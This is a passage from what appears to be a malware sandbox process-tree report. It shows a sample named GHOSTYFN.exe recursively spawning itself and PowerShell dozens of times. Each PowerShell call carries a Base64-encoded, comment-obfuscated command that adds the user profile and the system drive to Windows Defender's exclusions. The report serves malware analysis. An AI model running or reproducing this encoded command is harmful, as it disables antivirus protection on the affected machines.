        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        115⤵
        
        PID:1896
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        115⤵
        
        PID:10236
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        116⤵
        
        PID:2196
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        116⤵
        
        PID:5908
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        117⤵
        
        PID:5784
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        117⤵
        
        PID:3800
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        118⤵
        
        PID:1900
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        118⤵
        
        PID:2620
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        119⤵
        
        PID:10120
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        119⤵
        
        PID:188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        120⤵
        
        PID:9692
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        120⤵
        
        PID:5528
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        121⤵
        
        PID:5740
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        121⤵
        
        PID:6300
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        122⤵
        
        PID:6508
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        122⤵
        
        PID:5552
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        123⤵
        
        PID:2552
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        123⤵
        
        PID:5860
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        124⤵
        
        PID:5972
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        124⤵
        
        PID:5388
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        125⤵
        
        PID:7320
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        125⤵
        
        PID:7876
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        126⤵
        
        PID:9092
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        126⤵
        
        PID:10224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        127⤵
        
        PID:5680
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        127⤵
        
        PID:9300
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        128⤵
        
        PID:9840
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        128⤵
        
        PID:6108
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        129⤵
        
        PID:5596
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        129⤵
        
        PID:3256
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        130⤵
        
        PID:6828
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        130⤵
        
        PID:10188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        131⤵
        
        PID:1828
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        131⤵
        
        PID:6576
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        132⤵
        
        PID:1112
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        132⤵
        
        PID:5832
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        133⤵
        
        PID:4312
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        133⤵
        
        PID:3304
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        134⤵
        
        PID:5456
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        135⤵
        
        PID:4464
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        134⤵
        
        PID:3820
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        135⤵
        
        PID:6652
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        135⤵
        
        PID:3720
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        136⤵
        
        PID:8492
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        136⤵
        
        PID:6132
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        137⤵
        
        PID:8484
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        137⤵
        
        PID:7496
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        138⤵
        
        PID:8000
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        138⤵
        
        PID:6216
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        139⤵
        
        PID:4920
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        139⤵
        
        PID:7088
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        140⤵
        
        PID:6224
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        140⤵
        
        PID:7392
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        141⤵
        
        PID:10236
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        141⤵
        
        PID:7076
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        142⤵
        
        PID:8868
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        142⤵
        
        PID:740
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        143⤵
        
        PID:8872
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        143⤵
        
        PID:7524
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        144⤵
        
        PID:3492
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        144⤵
        
        PID:7352
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        145⤵
        
        PID:5272
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        145⤵
        
        PID:4436
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        146⤵
        
        PID:8052
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        146⤵
        
        PID:10232
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
